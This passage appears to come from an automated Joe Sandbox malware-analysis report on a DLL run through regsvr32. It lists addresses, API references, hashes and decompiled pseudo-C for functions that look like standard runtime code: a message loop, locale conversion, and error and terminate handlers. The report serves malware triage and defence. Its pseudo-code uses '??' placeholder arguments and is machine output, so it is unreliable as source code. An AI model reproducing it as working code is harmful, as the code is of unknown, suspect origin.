0x1004e8ab
0x1004e8b0
0x1004e8bc
0x1004e8bc
0x1004e8c0
0x1004e8b2
0x1004e8b2
0x1004e8b2
0x00000000
0x1004e8b0
0x1004e6fb
0x1004e701
0x00000000
0x00000000
0x1004e703
0x00000000
0x1004e703
0x1004e3ff
0x1004e401
0x1004e411
0x1004e411
0x1004e411
0x1004e411
0x1004e416
0x1004e416
0x1004e419
0x1004e41c
0x1004e41f
0x1004e423
0x1004e426
0x1004e59c
0x1004e59e
0x1004e5a1
0x1004e5a5
0x1004e946
0x00000000
0x1004e94e
0x1004e5ab
0x1004e5ad
0x1004e935
0x00000000
0x1004e93d
0x1004e5b3
0x1004e5b6
0x1004e5ba
0x1004e5bc
0x1004e5ca
0x1004e5cf
0x1004e5d7
0x1004e5ff
0x1004e5ff
0x1004e602
0x1004e60b
0x1004e60d
0x1004e62f
0x1004e631
0x1004e63b
0x1004e643
0x1004e648
0x1004e693
0x1004e69c
0x1004e64a
0x1004e64a
0x1004e64e
0x1004e651
0x1004e655
0x1004e657
0x1004e662
0x1004e662
0x1004e666
0x1004e666
0x1004e66a
0x1004e66d
0x1004e66f
0x1004e67a
0x1004e67e
0x1004e67e
0x1004e682
0x1004e685
0x1004e633
0x1004e633
0x1004e636
0x1004e6a1
0x1004e6a5
0x1004e6b2
0x1004e6b8
0x1004e6c3
0x1004e6c8
0x1004e6ce
0x1004e6d0
0x1004e6d2
0x1004e6e9
0x1004e6d4
0x1004e6dc
0x1004e6e1
0x1004e6e1
0x1004e6e1
0x00000000
0x1004e6d2
0x1004e60f
0x1004e614
0x1004e61c
0x1004e621
0x00000000
0x1004e621
0x1004e5e0
0x1004e5e0
0x1004e5e3
0x00000000
0x00000000
0x1004e5e5
0x1004e5e8
0x00000000
0x00000000
0x1004e5ee
0x1004e5f2
0x1004e5f5
0x1004e5fd
0x00000000
0x00000000
0x00000000
0x1004e5fd
0x00000000
0x1004e5e0
0x00000000
0x1004e430
0x1004e430
0x1004e430
0x1004e433
0x1004e435
0x00000000
0x00000000
0x1004e43b
0x1004e43d
0x1004e44e
0x1004e44e
0x1004e452
0x1004e455
0x1004e495
0x1004e499
0x1004e49f
0x1004e4a3
0x1004e4a8
0x1004e4ae
0x1004e4b0
0x1004e4c0
0x1004e4c0
0x1004e4c5
0x1004e55a
0x1004e55a
0x1004e55d
0x1004e561
0x00000000
0x1004e561
0x1004e4cb
0x1004e4d2
0x1004e4da
0x1004e4df
0x1004e511
0x1004e514
0x1004e529
0x1004e537
0x1004e53b
0x1004e540
0x1004e548
0x1004e56a
0x1004e54a
0x1004e54a
0x1004e54d
0x1004e551
0x1004e551
0x00000000
0x1004e548
0x1004e516
0x1004e51e
0x00000000
0x00000000
0x1004e520
0x1004e523
0x00000000
0x1004e523
0x1004e4e1
0x1004e4e9
0x1004e4f4
0x1004e4f7
0x1004e507
0x1004e50b
0x1004e4eb
0x1004e4eb
0x1004e4ee
0x1004e4ee
0x00000000
0x1004e4e9
0x1004e4b2
0x1004e4b8
0x1004e4ba
0x00000000
0x00000000
0x00000000
0x1004e457
0x1004e457
0x1004e45b
0x1004e45b
0x1004e45f
0x1004e471
0x1004e474
0x1004e478
0x1004e461
0x1004e461
0x1004e465
0x1004e468
0x1004e468
0x00000000
0x1004e45f
0x1004e43f
0x1004e43f
0x1004e441
0x1004e445
0x1004e571
0x1004e571
0x1004e574
0x00000000
0x00000000
0x00000000
0x1004e57a
0x1004e43d
0x1004e57c
0x1004e584
0x1004e589
0x1004e595
0x1004e595
0x1004e599
0x1004e58b
0x1004e58b
0x1004e58b
0x00000000
0x1004e589
0x1004e426
0x1004e403
0x1004e408
0x00000000
0x1004e40a
0x1004e40a
0x00000000
0x1004e40a
0x1004e2c0
0x1004e2c0
0x1004e2c5
0x1004e2cb
0x1004e2d0
0x1004e2d6
0x1004e2d6
0x1004e275
0x00000000
0x1004e27a
0x1004e2be
0x1004e249
0x1004e249
0x1004e24e
0x1004e251
0x1004e256
0x1004e259
0x1004e25e
0x1004e260
0x1004e266
0x1004e26b
0x1004e270
0x00000000
0x1004e270
0x1004e229
0x1004e22c
0x1004e239
0x1004e239
0x00000000
0x1004e239
0x1004e230
0x1004e232
0x1004e234
0x00000000
0x1004e236
0x1004e236
0x1004e236
0x00000000
0x1004e236
0x1004e1dd
0x1004e1dd
0x1004e1e2
0x1004e1e5
0x1004e1ea
0x1004e1ed
0x1004e1f4
0x1004e1fa
0x1004e1ff
0x1004e204
0x1004e204
0x00000000
0x1004e204
0x1004e18a
0x1004e18a
0x1004e18f
0x1004e192
0x1004e195
0x1004e19a
0x1004e19d
0x1004e1a4
0x1004e1aa
0x1004e1af
0x1004e1b4
0x1004e1b4
0x1004e284
0x00000000
0x1004e289
0x1004e125
0x1004e125
0x1004e12a
0x1004e12d
0x1004e130
0x1004e135
0x1004e13b
0x1004e28e
0x1004e2a4
0x1004e2a4

APIs

Part of subcall function 10038810: Sleep.KERNEL32(?,?,?,?,10040A43,?,?,?,?,10040B17), ref: 1003884C

ReadFile.KERNEL32 ref: 1004E3B3
ReadFile.KERNEL32 ref: 1004E4A8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1004EA93), ref: 1004E4B2
MultiByteToWideChar.KERNEL32 ref: 1004E6C8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1004EA93), ref: 1004E6D4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1004EA93), ref: 1004E8DD

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLast$FileRead$ByteCharMultiSleepWide
String ID:
API String ID: 2634040340-0
Opcode ID: 1103519c443476cd75e36928579161ac708ae4d393dc88eea12ef7f3e0f9bd4e
Instruction ID: 197adbaf863fc7f05f3e4f26913793c55a301c0418af139cdb6e96dd94b44e2d
Opcode Fuzzy Hash: 1103519c443476cd75e36928579161ac708ae4d393dc88eea12ef7f3e0f9bd4e
Instruction Fuzzy Hash: A32212B260C6C18ADB62CF25D44039D2BA1F742BE4F758226EE9987399DB7CCC45C709

Uniqueness

Uniqueness Score: -1.00%

Function 10054D70 Relevance: 12.3, APIs: 8, Instructions: 257COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 10054DE7
GetLastError.KERNEL32 ref: 10054DF7
LCMapStringW.KERNEL32 ref: 10054E74
WideCharToMultiByte.KERNEL32 ref: 10054EDD
WideCharToMultiByte.KERNEL32 ref: 10054F95
LCMapStringA.KERNEL32 ref: 10054FB8

Part of subcall function 1002E260: RtlAllocateHeap.NTDLL(?,?,?,?,1000E249), ref: 1002E2C1

LCMapStringA.KERNEL32 ref: 1005505D
MultiByteToWideChar.KERNEL32 ref: 100550E7

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: String$ByteCharMultiWide$AllocateErrorHeapLast
String ID:
API String ID: 2939682216-0
Opcode ID: 233c7a931c72fc01a284b4a656e140390d0707210ae3cba853f0456ca20e97bf
Instruction ID: 4875f19c1c6867ab864f9aeaaed80a6eddad5e59c4e79b54932652aae8297b4a
Opcode Fuzzy Hash: 233c7a931c72fc01a284b4a656e140390d0707210ae3cba853f0456ca20e97bf
Instruction Fuzzy Hash: FFA1E032300B808ADB20CF25E85479A77E5FB49BE8F454619EE6E87B98DF74D948C704

Uniqueness

Uniqueness Score: -1.00%

Function 10013CFC Relevance: 10.6, APIs: 7, Instructions: 120
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 32%

			E10013CFC(void* __ebx, void* __ecx, signed int __edx, intOrPtr __rax, intOrPtr* __rcx, void* __rdx, void* __r8, intOrPtr __r9, void* __r11) {
				intOrPtr _v88;
				void* _t38;
				void* _t39;
				void* _t48;
				void* _t49;
				signed int _t51;
				intOrPtr _t62;
				intOrPtr* _t63;
				intOrPtr _t65;
				void* _t71;
				void* _t72;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				intOrPtr _t76;

				_t74 = __r11;
				_t73 = __r9;
				_t72 = __r8;
				_t71 = __rdx;
				_t62 = __rax;
				_t39 = __ecx;
				_t38 = __ebx;
				r15d = 1;
				r12d = 0;
				_t51 = __edx & 0x00000004;
				_t63 = __rcx;
				_t49 = r15d;
				if(_t51 == 0) {
					L3:
					_t48 = 0;
					L4:
					_t65 =  *((intOrPtr*)(_t63 + 0x40));
					GetParent(??);
					 *(_t63 + 0x78) =  *(_t63 + 0x78) | 0x00000018;
					_t76 = _t62;
					E1001CBB0(_t62);
					_t75 = _t62;
					L15:
					while(1) {
						L15:
						while(_t49 != 0) {
							r9d = 0;
							r8d = 0;
							_t65 = _t75;
							_v88 = 0;
							if(PeekMessageA(??, ??, ??, ??, ??) != 0) {
								L16:
								while(E1001D134(_t39, _t49, _t62, _t65, _t71, _t72, _t73, _t74) != 0) {
									if(_t48 != 0 && ( *((intOrPtr*)(_t75 + 8)) == 0x118 ||  *((intOrPtr*)(_t75 + 8)) == 0x104)) {
										E10019A10(_t63);
										UpdateWindow(??);
										_t48 = 0;
									}
									_t62 =  *_t63;
									if( *((intOrPtr*)(_t62 + 0x100))() == 0) {
										 *(_t63 + 0x78) =  *(_t63 + 0x78) & 0xffffffe7;
										return  *((intOrPtr*)(_t63 + 0x88));
									} else {
										if(E1001CFD8(_t38, _t49, _t62, _t75, _t71, _t72, _t73) != 0) {
											_t49 = r15d;
											r12d = 0;
										}
										r9d = 0;
										r8d = 0;
										_t65 = _t75;
										_v88 = 0;
										if(PeekMessageA(??, ??, ??, ??, ??) != 0) {
											continue;
										} else {
											goto L15;
										}
									}
								}
								E1001BEFC();
								return 0xffffffff;
							}
							if(_t48 != 0) {
								E10019A10(_t63);
								_t65 =  *((intOrPtr*)(_t63 + 0x40));
								UpdateWindow(??);
								_t48 = 0;
							}
							if((r15b & bpl) == 0 && _t76 != 0 && r12d == 0) {
								_t73 =  *((intOrPtr*)(_t63 + 0x40));
								r8d = 0;
								_t65 = _t76;
								SendMessageA(??, ??, ??, ??);
							}
							if((bpl & 0x00000002) != 0) {
								L14:
								_t49 = 0;
								continue;
							} else {
								_t65 =  *((intOrPtr*)(_t63 + 0x40));
								_t73 = r12d;
								r8d = 0;
								SendMessageA(??, ??, ??, ??);
								r12d = r12d + r15d;
								if(_t62 != 0) {
									continue;
								}
								goto L14;
							}
						}
						goto L16;
					}
				}
				E1001990C(__rcx);
				asm("bt eax, 0x1c");
				if(_t51 < 0) {
					goto L3;
				}
				_t48 = r15d;
				goto L4;
			}

0x10013cfc
0x10013cfc
0x10013cfc
0x10013cfc
0x10013cfc
0x10013cfc
0x10013cfc
0x10013d0d
0x10013d13
0x10013d16
0x10013d1b
0x10013d1e
0x10013d21
0x10013d33
0x10013d33
0x10013d35
0x10013d35
0x10013d39
0x10013d3f
0x10013d43
0x10013d46
0x10013d4b
0x00000000
0x10013dd4
0x00000000
0x10013dd4
0x10013d53
0x10013d56
0x10013d5b
0x10013d5e
0x10013d6e
0x00000000
0x10013ddc
0x10013de7
0x10013e03
0x10013e0c
0x10013e12
0x10013e12
0x10013e14
0x10013e22
0x10013e58
0x00000000
0x10013e24
0x10013e2e
0x10013e30
0x10013e33
0x10013e33
0x10013e36
0x10013e39
0x10013e3e
0x10013e41
0x10013e51
0x00000000
0x10013e53
0x00000000
0x10013e53
0x10013e51
0x10013e22
0x10013e66
0x00000000
0x10013e6b
0x10013d72
0x10013d7a
0x10013d7f
0x10013d83
0x10013d89
0x10013d89
0x10013d8e
0x10013d9a
0x10013d9e
0x10013da6
0x10013da9
0x10013da9
0x10013db3
0x10013dd2
0x10013dd2
0x00000000
0x10013db5
0x10013db5
0x10013db9
0x10013dbc
0x10013dc4
0x10013dca
0x10013dd0
0x00000000
0x00000000
0x00000000
0x10013dd0
0x10013db3
0x00000000
0x10013dd4
0x10013dd4
0x10013d23
0x10013d28
0x10013d2c
0x00000000
0x00000000
0x10013d2e
0x00000000

APIs

GetParent.USER32 ref: 10013D39
PeekMessageA.USER32 ref: 10013D66
UpdateWindow.USER32 ref: 10013D83
SendMessageA.USER32 ref: 10013DA9
SendMessageA.USER32 ref: 10013DC4
UpdateWindow.USER32 ref: 10013E0C
PeekMessageA.USER32 ref: 10013E49

Part of subcall function 1001990C: GetWindowLongA.USER32 ref: 10019923

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: af7853f3655ce65530e2d483210d48110998721a10dee7e418f02085a0ec9069
Instruction ID: 9181432dbffaea0a70e19c0a949812cffd2768593bacd980505cdef4f461fc00
Opcode Fuzzy Hash: af7853f3655ce65530e2d483210d48110998721a10dee7e418f02085a0ec9069
Instruction Fuzzy Hash: E431ED7270069182EB55CB6ABD15B6A77E5FB88B98F518020DE4A4F694EF38CCC6C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078B4 Relevance: 9.6, Strings: 7, Instructions: 807COMMON

Download Yara Rule

Strings

-r, xrefs: 00000001800079FC
@, xrefs: 0000000180007D67
Y, xrefs: 0000000180008339
-, xrefs: 0000000180007CCC
?2 z, xrefs: 0000000180008645
#X, xrefs: 0000000180007A99
5k_, xrefs: 000000018000812F

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$-r$-$?2 z$@$5k_$Y
API String ID: 0-1635990449
Opcode ID: 9aed607114c2eb5ec7d32f106dd1cd7fd4d21038fc5605723301968f845e90cd
Instruction ID: ed2005d92b17e95cf1e610afa0d7f65b4beb65f243f13fe9f16a2a4fe8aeba85
Opcode Fuzzy Hash: 9aed607114c2eb5ec7d32f106dd1cd7fd4d21038fc5605723301968f845e90cd
Instruction Fuzzy Hash: A292F671908B8C8FEB58CF28C88959E7BE2FB94744F20461DF96A872A0D774D945CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B5C4 Relevance: 9.6, Strings: 7, Instructions: 804COMMON

Download Yara Rule

Strings

Oh, xrefs: 000000018001C358
3b<x, xrefs: 000000018001BDDB
I[, xrefs: 000000018001BF58
#X, xrefs: 000000018001C099
L2>, xrefs: 000000018001BED0
,1, xrefs: 000000018001C024
r, xrefs: 000000018001C17F

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$,1$3b<x$I[$L2>$Oh$r
API String ID: 0-1066297750
Opcode ID: a3a8df4b40438642c769f9c7e87077fbb206f21af2b70b5365a952ed52e030af
Instruction ID: e0518a940c3df26d7e7b1c31fc793c8632036840099695f1a67cc672fb9669fa
Opcode Fuzzy Hash: a3a8df4b40438642c769f9c7e87077fbb206f21af2b70b5365a952ed52e030af
Instruction Fuzzy Hash: 4A925C7154438B8BDB78CF24C889BEE7BE1FB84344F10452DE8698B761E7749648DB82

Uniqueness

Uniqueness Score: -1.00%

Function 100499D0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,10049CD7), ref: 10049A29
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,10049CD7), ref: 10049A3F
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,10049CD7), ref: 10049A71
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,10049CD7), ref: 10049AA7
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,10049CD7), ref: 10049B41
MultiByteToWideChar.KERNEL32 ref: 10049B78

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ByteCharErrorLastMultiWide
String ID:
API String ID: 97497842-0
Opcode ID: 6c713fe95adf278015f53a29670037b4fa5251c03fcf36b540fa6f19424460c5
Instruction ID: 16b2b28397970916723d2fc946e8151ea4775ebfd40634df9cfcb6f6351a3bc8
Opcode Fuzzy Hash: 6c713fe95adf278015f53a29670037b4fa5251c03fcf36b540fa6f19424460c5
Instruction Fuzzy Hash: 8151A132710B808ADB20CF25A94078A37E4FB48BE8F654635EE59C7B94EB78C944C784

Uniqueness

Uniqueness Score: -1.00%

Function 10049D10 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 10049D6D
GetLastError.KERNEL32 ref: 10049D83
GetLocaleInfoA.KERNEL32 ref: 10049DA8
GetLocaleInfoW.KERNEL32 ref: 10049E0E
GetLocaleInfoW.KERNEL32 ref: 10049E9A
WideCharToMultiByte.KERNEL32 ref: 10049ED9

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ByteCharErrorLastMultiWide
String ID:
API String ID: 97497842-0
Opcode ID: da27859c4b904c9e2095a9c246fd43da2ed20ef47dfee87e18e3b1466f5b212f
Instruction ID: 68c13befcf3379036896f63c8d11fab2f35746655c245a7ea9829be240b2aa15
Opcode Fuzzy Hash: da27859c4b904c9e2095a9c246fd43da2ed20ef47dfee87e18e3b1466f5b212f
Instruction Fuzzy Hash: CC518232600B808AD761DF22E84178937E5FB48BE8F694635EE5EC7B98DB78C945C704

Uniqueness

Uniqueness Score: -1.00%

Function 10034370 Relevance: 9.1, APIs: 6, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 43%

			E10034370(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, long long _a40) {
				long long _v0;
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				char _v1272;
				long long _v1416;
				char _v1432;
				long long _v1440;
				long long _v1448;
				long long _v1464;
				void* _t22;
				void* _t23;
				void* _t24;
				int _t30;
				void* _t32;
				int _t33;
				long long* _t40;
				intOrPtr _t47;
				long long* _t64;

				_t53 = __rdx;
				_t40 = _t64;
				 *((long long*)(_t40 - 8)) = __rbx;
				 *((long long*)(_t40 - 0x10)) = __rbp;
				 *((long long*)(_t40 - 0x18)) = __rsi;
				_t47 =  *0x100b7a70; // 0x2757fb4e000000
				 *((long long*)(_t40 - 0x20)) = __rdi;
				_t32 = r9d;
				_t23 = E10035D00(_t22, _t40, _t47);
				if(_t40 == 0) {
					_t24 = E10043270(_t23);
					__imp__RtlCaptureContext();
					_t8 =  &_v1432; // 0x10000002f
					r8d = 0x98;
					E1002E410(_t24, 2, 0, _t8, _t53, __r8);
					_v1432 = 0xc000000d;
					_v1416 = _v0;
					_v1448 =  &_v1432;
					_t14 =  &_v1272; // 0x1000000cf
					_v1440 = _t14;
					_t33 = IsDebuggerPresent();
					SetUnhandledExceptionFilter(??);
					if(UnhandledExceptionFilter(??) == 0 && _t33 == 0) {
						E10043270(_t28);
					}
					GetCurrentProcess();
					_t30 = TerminateProcess(??, ??);
				} else {
					r9d = _t32;
					_v1464 = _a40;
					_t30 =  *_t40();
				}
				return _t30;
			}

0x10034370
0x10034370
0x1003437a
0x1003437e
0x10034382
0x10034389
0x10034390
0x10034394
0x1003439d
0x100343a5
0x100343cc
0x100343d9
0x100343df
0x100343e6
0x100343ec
0x100343f9
0x10034401
0x1003440b
0x10034410
0x10034418
0x10034425
0x10034427
0x1003443a
0x10034443
0x10034443
0x10034448
0x10034456
0x100343a7
0x100343af
0x100343bb
0x100343c0
0x100343c0
0x10034483

APIs

Part of subcall function 10035D00: FlsGetValue.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D14

RtlCaptureContext.KERNEL32 ref: 100343D9
IsDebuggerPresent.KERNEL32 ref: 1003441D
SetUnhandledExceptionFilter.KERNEL32 ref: 10034427
UnhandledExceptionFilter.KERNEL32 ref: 10034432
GetCurrentProcess.KERNEL32 ref: 10034448
TerminateProcess.KERNEL32 ref: 10034456

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminateValue
String ID:
API String ID: 2638224479-0
Opcode ID: e5f246dc1e18c00a07d79850359be06400595da67e70c7a5ade246abb9bd5d44
Instruction ID: e711ffc3b44ec7d1c736ddfbcca5a483e65dbcd56d8050cb9b94d4b7c7f9ddb3
Opcode Fuzzy Hash: e5f246dc1e18c00a07d79850359be06400595da67e70c7a5ade246abb9bd5d44
Instruction Fuzzy Hash: 71213C39214F8085DB21DB51F84439EB3A8FB89B81F554126DA8E57B54DF78D5458B00

Uniqueness

Uniqueness Score: -1.00%

Function 10034490 Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E10034490(long long* __rax, void* __rdx, void* __r8) {
				long long _v0;
				char _v1240;
				long long _v1384;
				char _v1400;
				long long _v1408;
				long long _v1416;
				long long _v1432;
				void* _t13;
				void* _t14;
				void* _t15;
				int _t24;
				long long* _t34;
				intOrPtr _t38;
				void* _t43;

				_t43 = __rdx;
				_t34 = __rax;
				_t38 =  *0x100b7a70; // 0x2757fb4e000000
				_t14 = E10035D00(_t13, __rax, _t38);
				if(_t34 == 0) {
					_t15 = E10043270(_t14);
					__imp__RtlCaptureContext();
					r8d = 0x98;
					E1002E410(_t15, 2, 0,  &_v1400, _t43, __r8);
					_v1400 = 0xc000000d;
					_v1384 = _v0;
					_v1416 =  &_v1400;
					_v1408 =  &_v1240;
					_t24 = IsDebuggerPresent();
					SetUnhandledExceptionFilter(??);
					if(UnhandledExceptionFilter(??) == 0 && _t24 == 0) {
						E10043270(_t19);
					}
					GetCurrentProcess();
					return TerminateProcess(??, ??);
				} else {
					r9d = 0;
					r8d = 0;
					_v1432 = 0;
					return  *_t34();
				}
			}

0x10034490
0x10034490
0x10034499
0x100344a0
0x100344a8
0x100344cd
0x100344da
0x100344e7
0x100344ed
0x100344fa
0x10034502
0x1003450c
0x10034519
0x10034526
0x10034528
0x1003453b
0x10034544
0x10034544
0x10034549
0x10034565
0x100344aa
0x100344aa
0x100344ad
0x100344b4
0x100344c7
0x100344c7

APIs

Part of subcall function 10035D00: FlsGetValue.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D14

RtlCaptureContext.KERNEL32 ref: 100344DA
IsDebuggerPresent.KERNEL32 ref: 1003451E
SetUnhandledExceptionFilter.KERNEL32 ref: 10034528
UnhandledExceptionFilter.KERNEL32 ref: 10034533
GetCurrentProcess.KERNEL32 ref: 10034549
TerminateProcess.KERNEL32 ref: 10034557

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminateValue
String ID:
API String ID: 2638224479-0
Opcode ID: 2f1e7b584d65bba7dda7e89f571c14d43d58e7ab69b0732d279b18438fbf8a19
Instruction ID: 7e0c91a6d3f6e92be9b67b57027f236b60caca804d5c05e3ec84287bb56368ab
Opcode Fuzzy Hash: 2f1e7b584d65bba7dda7e89f571c14d43d58e7ab69b0732d279b18438fbf8a19
Instruction Fuzzy Hash: D6118C35614A8182EB21DB60F84539F73A4FB89742F455025EA8E4BB64EF7CD589CF10

Uniqueness

Uniqueness Score: -1.00%

Function 100342D0 Relevance: 9.0, APIs: 6, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 38%

			E100342D0(void* __ecx, void* __rdx, void* __r8) {
				long long _v0;
				char _v1240;
				long long _v1384;
				char _v1400;
				long long _v1408;
				long long _v1416;
				void* _t12;
				int _t20;

				__imp__RtlCaptureContext();
				r8d = 0x98;
				E1002E410(_t12, __ecx, 0,  &_v1400, __rdx, __r8);
				_v1400 = 0xc000000d;
				_v1384 = _v0;
				_v1416 =  &_v1400;
				_v1408 =  &_v1240;
				_t20 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				if(UnhandledExceptionFilter(??) == 0 && _t20 == 0) {
					E10043270(_t16);
				}
				GetCurrentProcess();
				return TerminateProcess(??, ??);
			}

0x100342e1
0x100342ee
0x100342f4
0x10034301
0x10034309
0x10034313
0x10034320
0x1003432d
0x1003432f
0x10034342
0x1003434b
0x1003434b
0x10034350
0x1003436c

APIs

RtlCaptureContext.KERNEL32 ref: 100342E1
IsDebuggerPresent.KERNEL32 ref: 10034325
SetUnhandledExceptionFilter.KERNEL32 ref: 1003432F
UnhandledExceptionFilter.KERNEL32 ref: 1003433A
GetCurrentProcess.KERNEL32 ref: 10034350
TerminateProcess.KERNEL32 ref: 1003435E

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

